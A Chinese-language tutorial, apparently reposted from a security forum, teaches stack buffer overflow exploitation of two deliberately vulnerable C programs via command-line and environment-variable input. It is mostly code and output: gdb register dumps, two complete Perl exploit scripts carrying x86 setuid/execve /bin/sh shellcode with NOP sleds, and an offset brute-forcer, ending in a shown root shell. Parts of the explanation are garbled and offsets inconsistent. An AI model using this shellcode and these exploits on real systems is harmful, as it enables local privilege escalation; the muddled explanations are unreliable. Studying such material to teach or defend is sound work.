| 关键词: nbsp AAAAAAAAAAAAAAAA 缓冲区 vuln cnbird symbols buffer 地址 PERL Segmentation |
作者:cnbird 来源:第八军团 大家好,我是cnbird,最近再学习PERL的缓冲区溢出的攻击,正好做个总结,非常简单,希望给初学者带来点收获,哪我的文章就不白写了. 第一部分描述: PERL堆缓冲区溢出利用不仅仅当涉及munging时,此外作为C探索利用这个堆.这简文章将略述非常轻易利用的PERL来完成基于标准C程序的缓冲区利用. 具体内容: 和别的缓冲区溢出文章的写法一样,我们首先给出漏洞的代码,然后通过调试,测试最后到写出漏洞的利用程序这个思路。 让我们来给出一个非常简单和普通的例子.- vuln.c -- #include <stdio.h> int main(int argc, char **argv) { char buffer[180]; if(argc>1) strcpy(buffer,argv[1]); printf("got data!\n"); } -- end vuln.c --这个缓冲区的溢出非常的明显.这个指针的拷贝没有任何边界的检测,同时可以覆盖EIP内存的地址.[cnbird@loc~]$gcc -o vuln vuln.c[cnbird@loc~]$./vuln A输出got data! OK,在这里的没有什么大的异常,下面让我们来更加我们的输入数据.[cnbird@loc~]$./vuln `perl -e 'print "A"x184'`学过perl的都应该知道,我们的`perl -e 'print "A"x184'是输入184个A来作为命令的输入下面给出输出的数据got data!Segmentation fault(core dump)看起来象我们已经溢出缓冲区,但是我们如何修改运行程序的EIP的地址然后来运行我们的程序呢?内存中的1 byte是由4个字节的地址组成,注意是地址,举个例子来说明一下例如:| 83 | -- | 84 | -- 4 bytes of data store 1 memory address| 85 | --| 86 | -- | 87 | --| 88 | -- another 4 bytes for the next address| 89 | --| 90 | -- 这样看就应该很清楚了吧.现在我们用gdb来调试程序.[cnbird@loc~]$gdb vuln core --quietCore was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.Program terminated with signal 11, Segmentation fault.Reading symbols from /lib/libc.so.6...done.Loaded symbols for /lib/libc.so.6Reading symbols from /lib/ld-linux.so.2...done.Loaded symbols for /lib/ld-linux.so.2#0 0x40033a1e in __libc_start_main () from /lib/libc.so.6(gdb) info regeax 0x400ff0d8 1074786520ecx 0xbffff910 -1073743600edx 0x1 1ebx 0x400ffed4 1074790100esp 0xbffff908 0xbffff908ebp 0x41414141 0x41414141esi 0x4000acb0 1073786032edi 0xbffff954 -1073743532eip 0x40033a1e 0x40033a1eeflags 0x10292 66194cs 0x23 35ss 0x2b 43ds 0x2b 43es 0x2b 43fs 0x2b 43gs 0x2b 43如我们所见,EIP没到达缓冲区益处,但是EBP做到了。现在我们知道内存中的布局看起来象这样 __|__ | | | EBP | - 4 byte address |_____| __|__ | | | EIP | - next 4 byte address |_____| 如此明知的我们知道如果给我们输入的字符加4个字节的数据话,我们讲完成对EIP的覆盖,我们这里可以用./vuln `perl -e 'print "A"x88'`[cnbird@loc~]$./vuln `perl -e 'print "A"x88'`程序的输出结果:got data!Segmentation fault (core dumped)[cnbird@loc~]$gdb vuln core --quietCore was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.Program terminated with signal 11, Segmentation fault.Reading symbols from /lib/libc.so.6...done.Loaded symbols for /lib/libc.so.6Reading symbols from /lib/ld-linux.so.2...done.Loaded symbols for /lib/ld-linux.so.2#0 0x41414141 in ?? ()(gdb) info reg eax 0xa 10ecx 0x40014000 1073823744edx 0x400fe660 1074783840ebx 0x400ffed4 1074790100esp 0xbffff910 0xbffff910ebp 0x41414141 0x41414141esi 0x4000acb0 1073786032edi 0xbffff954 -1073743532eip 0x41414141 0x41414141eflags 0x10282 66178cs 0x23 35ss 0x2b 43ds 0x2b 43es 0x2b 43fs 0x2b 43gs 0x2b 43我们的预言是正确的。 那些16进制的0x 41等价物是"A",一完全写作过度成功。我们的缓冲区看来来已经是这样的: EIP ______|_______ / | | \ 187 188 189 190 A A A A -> our input data 41 41 41 41 -> hex address( 41414141 ) 现在我们怎么去创建漏洞的利用程序呢?第一步是得到ESP的值,在这种情况下它的值0xbffff910。创建能够运行/bin/sh的shellcode,然后用数据的长度充满$buf我们过去写过的EIP. 同时$ret做为ESP的值.-- exp.pl -- #!/usr/bin/perl $shellcode = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" . "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" . "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" . "\x80\xe8\xdc\xff\xff\xff/bin/sh"; $ret = 0xbffffaa0; $buf = 188; $egg = 2000; $nop = "\x90"; $offset = 0; if (@ARGV == 1) { $offset = $ARGV[0]; } $addr = pack('l', ($ret + $offset)); for ($i = 0; $i < $buf; $i += 4) { $buffer .= $addr; } for ($i = 0; $i < ($egg - length($shellcode) - 100); $i++) { $buffer .= $nop; } $buffer .= $shellcode; exec("./vuln", $buffer,0); -- end exp.pl -- [cnbird@loc~]$perl exp.pl输出的结果got data! Illegal instruction看起来象,离开仅仅我们从得的那/bin/shell.现在,让我们带$offset使用当时多种我们的shellcode在内存中的范围.运行下面给出的脚本来获得当前的offset要求去破坏这个shell.^_^.#!/usr/bin/perl for($i=-2000;$i<2000;$i++) { print("trying offset: $i\n"); system("ulimit -c 0;./exp.pl $i"); } [cnbird@loc~]$perl brute.pltrying offset: -2000 got data! trying offset: -1999 got data! .. trying offset: 100 bash#(当然如果这个程序是设置了suid的,它讲不能和root进行交互,为了能指导这躺课,我做了setsuid的漏洞利用程序.)所以我们就得到了offset100是我们要利用的.下面让我们来对exp.pl进行初试化.[cnbird@loc~]$iduid=500(cnbird) gid=500(user) groups=500(users)[cnbird@loc~]$./exp.pl 100got data! bash# id uid=0(root) gid=100(users) egid=0(root) groups=100(users)哈哈,这个时候我们再内存中找到了/bin/sh的地址.呵呵是不是非常得到简单啊?其实知道了原理一切就非常简单了. 第二部分现在我们来举一个环境变量的溢出,与命令行相反输入变元溢出.-- vuln2.c -- #include <stdio.h> main() { char buffer[1024]; if (getenv("USER") == NULL) { fprintf(stderr, "Oops!\n"); exit(1); } strcpy(buffer, (char *)getenv("USER")); printf("Environment variable USER is:\"%s\".\n", buffer); return 1;} -- end vuln2.c --过长的USER环境变量讲被拷贝到没有检测的有1024字节限制的缓冲区中,由于这被给的知识让我们利用实际上的一些。 [cnbird@loc~]$./vuln2.cEnvironment variable USER is: "cnbird".认为: 1025 1026 1027 1028 是EBP的地址1029 1030 1031 1032 是EIP的地址 这个时候当我们输入1032字符串给USER环境变量的时候讲会覆盖EIP。 [cnbird@loc~]$export USER=`perl -e 'print "A"x1032'` [cnbird@loc~]$./vuln2Environment variable USER is: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". Segmentation fault (core dumped)继续调试[cnbird@loc~]$gdb vuln2 core --quiet (no debugging symbols found)...Core was generated by `./vuln2'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...done. Reading symbols from /lib/ld-linux.so.2...done. #0 0x41414141 in ?? () (gdb) info reg esp esp 0x7ffff8e0 0x7ffff8e0esp 地址将是要在我们过程中使用的地址 所以让我们来创建它.-- exp2.pl -- #!/usr/bin/perl $shellcode = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" . "\xeb\x1f\x5e\x89\x76\x08\x31\xc0" . "\x88\x46\x07\x89\x46\x0c\xb0\x0b" . "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c" . "\xcd\x80\x31\xdb\x89\xd8\x40\xcd" . "\x80\xe8\xdc\xff\xff\xff/bin/sh"; $buf = 1032; $ret = 0x7ffff8e0; $nop = "\x90"; $offset = -96; # worked for me if (@ARGV == 1) { $offset = $ARGV[0]; } for ($i = 0; $i < ($buf - length($shellcode) - 100); $i++) { $buffer .= $nop; } $buffer .= $shellcode; $addr = pack('l', ($ret + $offset)); for ($i += length($shellcode); $i < $buf; $i += 4) { $buffer .= $addr; } $ENV{'USER'} = $buffer; exec("./vuln2"); -- end exp2.pl --Environment variable USER is:"悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙?悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙?悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙?悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙?悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙?悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙?悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙?悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙?悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙?悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙?悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙?悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙?悙悙悙悙??郯? |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|